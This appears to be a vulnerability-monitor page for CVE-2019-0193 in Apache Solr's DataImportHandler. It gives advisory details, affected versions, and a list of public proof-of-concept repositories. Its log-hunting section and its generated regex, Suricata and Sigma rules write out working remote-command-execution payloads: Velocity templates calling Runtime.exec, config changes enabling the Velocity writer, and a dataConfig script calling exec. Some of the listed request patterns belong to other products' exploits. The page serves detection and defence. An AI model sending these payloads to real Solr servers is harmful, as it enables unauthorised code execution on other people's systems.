PoC Monitor
← All CVEs
CVE-2019-0193published 1 Aug 2019 13:48 UTCData: JSON · API

Apache Solr

Apache Solr DataImportHandler Code Injection Vulnerability

In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.

First public PoC 136 days beforebefore publication · 18 Mar 2019
Public PoCs65 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS7.2high · scored by CISA ADP · CWE-94
CISA KEV 10 Dec 20212.4 years after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

org.apache.solr:solr-core (Maven)
  • < 8.2.0

Fixed in 8.2.0

from GitHub Security Advisory GHSA-3gm7-v7vw-866c

Mitigation

Upgrade org.apache.solr:solr-core to 8.2.0 or later.

Timeline

Days relative to CVE publication
t=0+180+360+540+720First public PoC18 Mar 2019 · t−136dCVE published1 Aug 2019 · t = 0Added to CISA KEV10 Dec 2021 · t+2.4y

First public PoC 136 days before publication; added to CISA KEV 2.4 years after publication. First PoC: xConsoIe/CVE-2019-0193 (created 18 Mar 2019, found by us: backfilled).

PoC repositories

Found on GitHub.

5 PoCs · 1 informational

PoCs 5
RepositoryCreatedStarsAssessment
xConsoIe/CVE-2019-0193 18 Mar 2019 −136 d 7 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

jas502n/CVE-2019-0193 9 Aug 2019 +7.7 d 90 PoC
1135/solr_exploit 12 Aug 2019 +11 d 64 PoC
scxiaotan1/Docker 17 Apr 2020 +260 d 0 PoC via PoC Index
freeFV/ApacheSolrRCE 13 Sep 2022 +3.1 y 0 PoC
Informational 1
RepositoryCreatedStarsAssessment
jaychouzzk/CVE-2019-0193-exp 3 Sep 2019 +33 d 1 Informational · write-up

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: Apache Solr DataImportHandler <8.2.0 - Remote Code Execution27 Apr 202314 Nov 2026

PoC characteristics

What to hunt for in your logs · from 5 PoC repos

GET /solr/core_name/select

Query
q=1 wt=velocity v.template=custom v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('ls -al')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Ports
8983
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/RCE via Velocity template 2019.10.30.md:92

GET /solr/te1/config

Body markers
Host: 172.17.0.3:8983
Seen in
1 repo: scxiaotan1/Docker
Evidence
scxiaotan1/Docker/CVE-2019-0193/README.md:18

GET /solr/test/select

Query
q=1 wt=velocity v.template=custom v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Ports
8983
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/RCE via Velocity template 2019.10.30.md:38

POST /solr/core_name/config

Body markers
"update-queryresponsewriter" "startup":"lazy" "name":"velocity" "class":"solr.VelocityResponseWriter" "template.base.dir" "solr.resource.loader.enabled":"true" "params.resource.loader.enabled":"true" in application/json
Ports
8983
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/RCE via Velocity template 2019.10.30.md:63

POST /solr/test/config

Body markers
"update-queryresponsewriter" "startup":"lazy" "name":"velocity" "class":"solr.VelocityResponseWriter" "template.base.dir" "solr.resource.loader.enabled":"true" "params.resource.loader.enabled":"true" in application/json
Ports
8983
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/RCE via Velocity template 2019.10.30.md:17

POST /solr/tika/config

Key headers
Accept: */*
Body markers
"set-property" "requestDispatcher.requestParsers.enableRemoteStreaming" "requestDispatcher.requestParsers.enableStreamBody" in application/json
Ports
80, 5555, 8983
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/README.md:157

POST /solr/tika/dataimport

Query
command=full-import verbose=false clean=false commit=false debug=true core=tika name=dataimport dataConfig=
Key headers
Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://solr.com:8983/solr/ X-Requested-With: XMLHttpRequest
Body markers
command=full-import verbose=false clean=false commit=false debug=true core=tika name=dataimport dataConfig= in application/x-www-form-urlencoded
Ports
8983
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Seen in
1 repo: 1135/solr_exploit
Evidence
1135/solr_exploit/README.md:83 1135/solr_exploit/README.md:176

GET /solr/admin/cores

Query
_=1565526689592 indexInfo=false wt=json
Ports
8983
Seen in
1 repo: jas502n/CVE-2019-0193
Evidence
jas502n/CVE-2019-0193/CVE-2019-0193.py:21

GET /solr/{var}/dataimport

Query
_=1565530241159 command=show-config indent=on wt=json command=status
Ports
8983
Seen in
1 repo: jas502n/CVE-2019-0193
Evidence
jas502n/CVE-2019-0193/CVE-2019-0193.py:40 jas502n/CVE-2019-0193/CVE-2019-0193.py:52

GET /ws_utc/css/config/keystore/{var}_360sglab.jsp

Key headers
X-Requested-With: XMLHttpRequest
Content-Type
application/x-www-form-urlencoded
Ports
7001
Seen in
1 repo: xConsoIe/CVE-2019-0193
Evidence
xConsoIe/CVE-2019-0193/start.py:92

GET /ws_utc/resources/setting/options/general

Ports
7001
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Seen in
1 repo: xConsoIe/CVE-2019-0193
Evidence
xConsoIe/CVE-2019-0193/start.py:19 xConsoIe/CVE-2019-0193/start.py:25

GET /{var}

Query
cmd=
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Seen in
1 repo: scxiaotan1/Docker
Evidence
scxiaotan1/Docker/CVE-2017-12617/tomcat-cve-2017-12617.py:65 scxiaotan1/Docker/CVE-2017-12617/tomcat-cve-2017-12617.py:115

POST /solr/{var}/dataimport

Query
_=1565530241159 indent=on wt=json
Key headers
Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://{var}/solr/ X-Requested-With: XMLHttpRequest
Body markers
command=full-import verbose=false clean=true commit=true debug=true core=atom dataConfig=%%3CdataConfig%%3E%%0A++%%3CdataSource+type%%3D%%22URLDataSource%%22%%2F%%3E%%0A++%%3Cscript%%3E%%3C!%%5BCDATA%%5B%%0A++++++++++function+poc()%%7B+java.lang.Runtime.getRuntime().exec(%%22 name=dataimport in application/x-www-form-urlencoded
Ports
8983
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Seen in
1 repo: jas502n/CVE-2019-0193
Evidence
jas502n/CVE-2019-0193/CVE-2019-0193.py:78

POST /ws_utc/resources/setting/options

Key headers
X-Requested-With: XMLHttpRequest
Body markers
setting_id=general BasicConfigOptions.workDir= BasicConfigOptions.proxyHost= BasicConfigOptions.proxyPort=80 in application/x-www-form-urlencoded
Ports
7001
Seen in
1 repo: xConsoIe/CVE-2019-0193
Evidence
xConsoIe/CVE-2019-0193/start.py:69

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /solr/core_name/select
(?i)^/solr/core_name/select\?(?:.*&)?q=1.*wt=velocity.*v\.template=custom.*v\.template\.custom=#set\(\$x=''\) #set\(\$rt=\$x\.class\.forName\('java\.lang\.Runtime'\)\) #set\(\$chr=\$x\.class\.forName\('java\.lang\.Character'\)\) #set\(\$str=\$x\.class\.forName\('java\.lang\.String'\)\) #set\(\$ex=\$rt\.getRuntime\(\)\.exec\('ls -al'\)\) \$ex\.waitFor\(\) #set\(\$out=\$ex\.getInputStream\(\)\) #foreach\(\$i in \[1\.\.\$out\.available\(\)\]\)\$str\.valueOf\(\$chr\.toChars\(\$out\.read\(\)\)\)#end
GET /solr/te1/config
(?i)^/solr/te1/config(?:[?#].*)?$
GET /solr/test/select
(?i)^/solr/test/select\?(?:.*&)?q=1.*wt=velocity.*v\.template=custom.*v\.template\.custom=#set\(\$x=''\) #set\(\$rt=\$x\.class\.forName\('java\.lang\.Runtime'\)\) #set\(\$chr=\$x\.class\.forName\('java\.lang\.Character'\)\) #set\(\$str=\$x\.class\.forName\('java\.lang\.String'\)\) #set\(\$ex=\$rt\.getRuntime\(\)\.exec\('id'\)\) \$ex\.waitFor\(\) #set\(\$out=\$ex\.getInputStream\(\)\) #foreach\(\$i in \[1\.\.\$out\.available\(\)\]\)\$str\.valueOf\(\$chr\.toChars\(\$out\.read\(\)\)\)#end
POST /solr/core_name/config
(?i)^/solr/core_name/config(?:[?#].*)?$
POST /solr/test/config
(?i)^/solr/test/config(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /solr/core_name/select
alert http any any -> $HOME_NET [8983] (msg:"GG PoC-Monitor CVE-2019-0193 Apache Apache Solr exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/solr/core_name/select"; http.uri; content:"q=1"; http.uri; content:"wt=velocity"; http.uri; content:"v.template=custom"; http.uri; content:"v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('ls -al')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"; reference:url,poc.griffinguard.io/cve/CVE-2019-0193; classtype:web-application-attack; sid:9752400; rev:1;)
GET /solr/te1/config
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2019-0193 Apache Apache Solr exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/solr/te1/config"; http.request_body; content:"Host: 172.17.0.3:8983"; reference:url,poc.griffinguard.io/cve/CVE-2019-0193; classtype:web-application-attack; sid:9499605; rev:1;)
GET /solr/test/select
alert http any any -> $HOME_NET [8983] (msg:"GG PoC-Monitor CVE-2019-0193 Apache Apache Solr exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/solr/test/select"; http.uri; content:"q=1"; http.uri; content:"wt=velocity"; http.uri; content:"v.template=custom"; http.uri; content:"v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"; reference:url,poc.griffinguard.io/cve/CVE-2019-0193; classtype:web-application-attack; sid:9320381; rev:1;)
POST /solr/core_name/config
alert http any any -> $HOME_NET [8983] (msg:"GG PoC-Monitor CVE-2019-0193 Apache Apache Solr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/solr/core_name/config"; http.request_body; content:"|22|update-queryresponsewriter|22|"; http.request_body; content:"|22|startup|22|:|22|lazy|22|"; http.request_body; content:"|22|name|22|:|22|velocity|22|"; http.request_body; content:"|22|class|22|:|22|solr.VelocityResponseWriter|22|"; http.request_body; content:"|22|template.base.dir|22|"; http.request_body; content:"|22|solr.resource.loader.enabled|22|:|22|true|22|"; http.request_body; content:"|22|params.resource.loader.enabled|22|:|22|true|22|"; reference:url,poc.griffinguard.io/cve/CVE-2019-0193; classtype:web-application-attack; sid:9444208; rev:1;)
POST /solr/test/config
alert http any any -> $HOME_NET [8983] (msg:"GG PoC-Monitor CVE-2019-0193 Apache Apache Solr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/solr/test/config"; http.request_body; content:"|22|update-queryresponsewriter|22|"; http.request_body; content:"|22|startup|22|:|22|lazy|22|"; http.request_body; content:"|22|name|22|:|22|velocity|22|"; http.request_body; content:"|22|class|22|:|22|solr.VelocityResponseWriter|22|"; http.request_body; content:"|22|template.base.dir|22|"; http.request_body; content:"|22|solr.resource.loader.enabled|22|:|22|true|22|"; http.request_body; content:"|22|params.resource.loader.enabled|22|:|22|true|22|"; reference:url,poc.griffinguard.io/cve/CVE-2019-0193; classtype:web-application-attack; sid:9861525; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /solr/core_name/select
title: Apache Apache Solr exploit attempt (CVE-2019-0193)
id: gg-pocmon-cve-2019-0193-9752400
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-0193. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-0193
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/solr/core_name/select'
    cs-uri-query|contains|all:
      - 'q=1'
      - 'wt=velocity'
      - 'v.template=custom'
      - 'v.template.custom=#set($x='''') #set($rt=$x.class.forName(''java.lang.Runtime'')) #set($chr=$x.class.forName(''java.lang.Character'')) #set($str=$x.class.forName(''java.lang.String'')) #set($ex=$rt.getRuntime().exec(''ls -al'')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.0193
GET /solr/te1/config
title: Apache Apache Solr exploit attempt (CVE-2019-0193)
id: gg-pocmon-cve-2019-0193-9499605
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-0193. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-0193
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/solr/te1/config'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.0193
GET /solr/test/select
title: Apache Apache Solr exploit attempt (CVE-2019-0193)
id: gg-pocmon-cve-2019-0193-9320381
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-0193. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-0193
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/solr/test/select'
    cs-uri-query|contains|all:
      - 'q=1'
      - 'wt=velocity'
      - 'v.template=custom'
      - 'v.template.custom=#set($x='''') #set($rt=$x.class.forName(''java.lang.Runtime'')) #set($chr=$x.class.forName(''java.lang.Character'')) #set($str=$x.class.forName(''java.lang.String'')) #set($ex=$rt.getRuntime().exec(''id'')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.0193
POST /solr/core_name/config
title: Apache Apache Solr exploit attempt (CVE-2019-0193)
id: gg-pocmon-cve-2019-0193-9444208
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-0193. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-0193
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/solr/core_name/config'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.0193
POST /solr/test/config
title: Apache Apache Solr exploit attempt (CVE-2019-0193)
id: gg-pocmon-cve-2019-0193-9861525
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-0193. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-0193
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/solr/test/config'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.0193